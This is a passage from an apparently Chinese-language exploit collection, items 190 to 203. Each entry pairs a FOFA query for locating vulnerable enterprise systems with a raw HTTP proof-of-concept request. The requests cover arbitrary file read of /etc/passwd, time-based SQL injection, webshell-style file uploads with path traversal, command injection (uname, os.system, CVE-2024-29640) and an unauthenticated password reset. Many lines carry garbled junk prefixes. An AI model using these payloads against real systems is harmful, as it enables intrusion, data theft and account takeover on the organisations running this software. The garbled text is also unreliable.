, p9 k# M: P6 _( w6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 i2 v6 W3 \0 P- jConnection: close
0 ~- o5 d4 I$ k0 z* \
  ]2 O' c+ Q+ s  z; Q  |
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
) ?$ i8 ]* M0 c! r/ YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
/ D6 {. q5 n0 mAccept-Encoding: gzip, deflate
& E# L' u0 z1 s6 aAccept-Language: zh-CN,zh;q=0.9

" l4 P5 K1 P7 s- }) t! L1 y, o' gpoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
4 }$ Y- n3 g( @' ~! {4 UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* N7 J) A5 Q+ KContent-Type: application/x-www-form-urlencoded
/ X: P8 g: J5 S7 B/ @
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

9 K1 o% @+ T2 d; @! F* x
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
3 ~: D. g# l' R# s% H$ }FOFA：title="用户登录_富通天下外贸ERP"
* D$ }6 ^! \2 k+ fPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
; p5 r2 M1 D! z4 g8 l5 K+ SHost: your-ip
2 m# I% c5 V; v8 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, r5 D0 x0 k* R4 R' O5 F

/ v) q2 A; q. X4 d$ z1 L$ i+ O<% @ webhandler language="C#" class="AverageHandler" %>
/ Q. f7 g9 B/ W7 e" ausing System;
using System.Web;
2 t1 Y# S: q6 D: ]$ F" ]public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
/ R/ c1 c& p) Y, c3 T0 d! z# W{
ctx.Response.Write("test");
}
}
) L8 m! X- ]7 s& s( y

  o1 V- B9 e* w7 G2 S0 i# T# v193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( \* x! W7 a9 B- ]. ^FOFA：body="山石云鉴主机安全管理系统"
) }/ C2 r) w) B$ s) W/ ?  C+ wGET /master/ajaxActions/getTokenAction.php HTTP/1.1
: r5 U0 Z0 R/ Y/ eHost:
, e8 E4 k! g, U3 p' J, tCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
4 _# h1 k, e: _) F! l, ^" j7 O0 zUser-Agent: Mozilla/5.0
, y# j6 E" F. ~$ I1 Y' @0 {$ o
0 b5 e( @0 z) x9 U/ S. L$ ^3 b$ U- |* C
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
7 n4 k0 t6 ]" H) B* zUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
* n$ A' S, x7 l- c: b4 S6 EConnection: close
Cookie: PHPSESSID=2333333333333;
* _8 Q: v, L7 ?8 l3 |Content-Type: application/x-www-form-urlencoded
Content-Length: 84
% l+ S. c2 ]0 Y" k- z+ z
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
' N6 i+ }% ?; l) Q% uHost:
User-Agent: Mozilla/5.0
2 M3 P  m4 i" P% d  L& U5 u

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' r& q  J  f; K; l1 p/ j
5 i3 `6 f; }4 e8 N- i* SPOST /servlet/uploadAttachmentServlet HTTP/1.1
& I0 M9 h8 O: W) ?; S5 yHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
$ K% B0 p" U( h1 S, BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! q; Z& o" Q  W9 ]9 w0 t0 C  i# mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 u% {" w& a0 h" o/ jConnection: close
9 Y0 g' M6 o. p1 D5 W  o3 u5 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
7 w' o; r2 ^: C2 Z; r------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- \( _6 J) }$ `! F/ {
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
9 ^( {+ [7 g; D6 b7 t; A; j3 {: DContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
6 l1 ?0 s/ D& wContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
1 m, r- n( f( M* r$ g8 E------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

- l0 Q2 i- r3 s  `1 A
! T$ K3 e( Z9 O7 }* O6 J9 o4 y4 H195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
/ A* @* v: e2 ^2 |- B" I- r9 }4 vFOFA：title=="飞鱼星企业级智能上网行为管理系统
9 i1 Q2 ]; O# u9 b+ B, c; l5 b! Z2 ZPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
# @; ^8 w. e+ RPragma: no-cache
Cache-Control: no-cache
+ w5 c6 x( j, O1 j& }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
0 d. I, {4 k+ i- a$ oAccept-Encoding: gzip, deflate
5 {1 _& a0 m- V7 MAccept-Language: zh-CN,zh;q=0.9
$ T; c3 \  R4 Y; ZConnection: close
7 T: t! `/ {3 ?6 K: mContent-Type: application/x-www-form-urlencoded
Content-Length: 68

. ~: h) s  ?% r0 y5 r{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
* E3 y# O7 ^7 I- `  C
8 W% `- ]2 D6 ?: b" n3 @6 l
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
  ^& n! ~* }! M* L$ W% l/ A. \4 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
, \  J9 y: }. _" PHost:
5 D; q9 B8 l8 t6 ]; G4 SAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  b: I. h" |: U7 M( KContent-Length: 45
7 M3 c# R& y% k& [! w' HConnection: close
4 v% g8 r' r4 H, F
& z7 D7 C  I% ?+ q" s{"xgh":"test","newPass":"test666","email":""}
5 ?" D9 Q! K) P5 C' @


0 c4 `; _* W% }0 d" f197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
5 [8 Z+ X2 P& [1 e0 L" xGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
' Z, _! S! l8 dHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close



198.  阿里云盘 WebDAV 命令注入
7 ^4 `& m+ x8 h0 n% }( U( qCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
# m% }, M* p$ Q5 xCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
7 |) \- l& E  s2 IAccept: */*
% v7 M1 a/ K$ B  p- ?1 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
4 U6 e. e! f" VConnection: close
( H( @3 I" U+ B( P% A
2 \9 x9 v& U0 q2 }' q1 S3 I
199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

1 b- R) F8 C: S" Z4 }响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

) ~3 B% r/ I1 V( t2.使用刚才上一步获取到的jwt获取cookie：
4 |% W8 Q. r- m: S* G/ O/ g% _
6 w* p- \& v  J, Z5 B. Q& pPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
2 j; Q8 n7 `( d  Y( o) T% w' C1 t+ {Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
/ o) D' n2 j, s6 ]9 PFofa：title="Authenticate Please!"
" Z0 ?0 y0 [1 l1 fPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

. p1 ^- r: x* H: p& X-----------------------------36D28FBc36bd6feE7Fb3
" o7 V/ G) ]4 `% @/ pContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

( @" P" d4 ?; w' Q7 v% Z& K<?php echo "tttt";unlink(__FILE__);?>
7 m1 }. k& f8 Y# c) L4 D3 ~-----------------------------36D28FBc36bd6feE7Fb3
& g  G! @; S" lContent-Disposition: form-data; name="folder"
$ ?9 C( u+ B4 [" y
-----------------------------36D28FBc36bd6feE7Fb3--
( M  i4 T5 ^, u8 W$ c# T

- p+ l# T; v4 X' x3 |( E/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 ^- c4 z0 d& C6 `4 @. EAccept-Encoding: gzip, deflate
) {. n3 Y6 Z; k9 J% k/ a( DAccept-Language: zh-CN,zh;q=0.9
4 B. O) T" O* u  |* k5 \
1 l, @: I: o1 J0 @" C4 x1 j
6 s( b) ^" {  S2 ^201. 方正全媒体新闻采编系统 binary SQL注入
* r' d0 Z$ u" [. y9 g$ WFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* z+ U% E6 G3 D# o; `  X+ g" c; ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
5 w/ [& f5 U" n" @FOFA：body="/Widgets/WidgetCollection/"
, O) g" [- y/ r获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
+ U- N% N( d% G/ g! A$ LHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
. X. I9 r0 G! G
- s  M  l1 H7 ^0 V% @2 f( v
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
: s; L* O: `2 Z5 W/ ^* L, ~Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
2 h4 Q2 v/ s$ g3 f
-----------------------------786435874t38587593865736587346567358735687
3 o" z5 M" G" FContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
, K9 ~8 d1 V( f" Y6 v! a0 a5 n" P/ v-----------------------------786435874t38587593865736587346567358735687
/ q6 l" h% C6 @/ H. q( Q6 MContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
2 W" |8 ~  W, ]  S6 S* U3 wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
. d5 X  Y$ q9 c" m( a, p9 @* v-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

  Q* I9 m! a4 K) y& J上传图片
2 G9 D5 X% B7 t, h% }! G-----------------------------786435874t38587593865736587346567358735687
& Q5 A" \7 E: e+ C" [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

2 e7 S, I/ J7 k2 x& ^: g$ f/ J3 p
  W7 I/ j: e: d; w* ~- z0 u# F-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
5 [. [- O. y5 O$ e4 W- x

-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

  K7 Z. F& G  P3 D- r203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
" ^0 G& b- _0 KPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
! R9 W% Y( c, y0 c' @1 pAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
: }+ H4 }! j3 G; V' f& TContent-Length: 210
" M( C6 J- G! U' u
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
) g" T! \3 ], s. t/ `Content-Type:image/jpeg

& e& {( m: P( S<% out.print("hello,eHR");%>
3 t9 f3 I* R6 G  m! U% c2 q------WebKitFormBoundaryt7WbDl1tXogoZys4--
' k+ r; {! }0 |) G% P
4 |$ y7 H8 G) @# U* L9 L7 c, q


5 g; W; k7 ~: G

& k0 v. S2 Z3 q/ t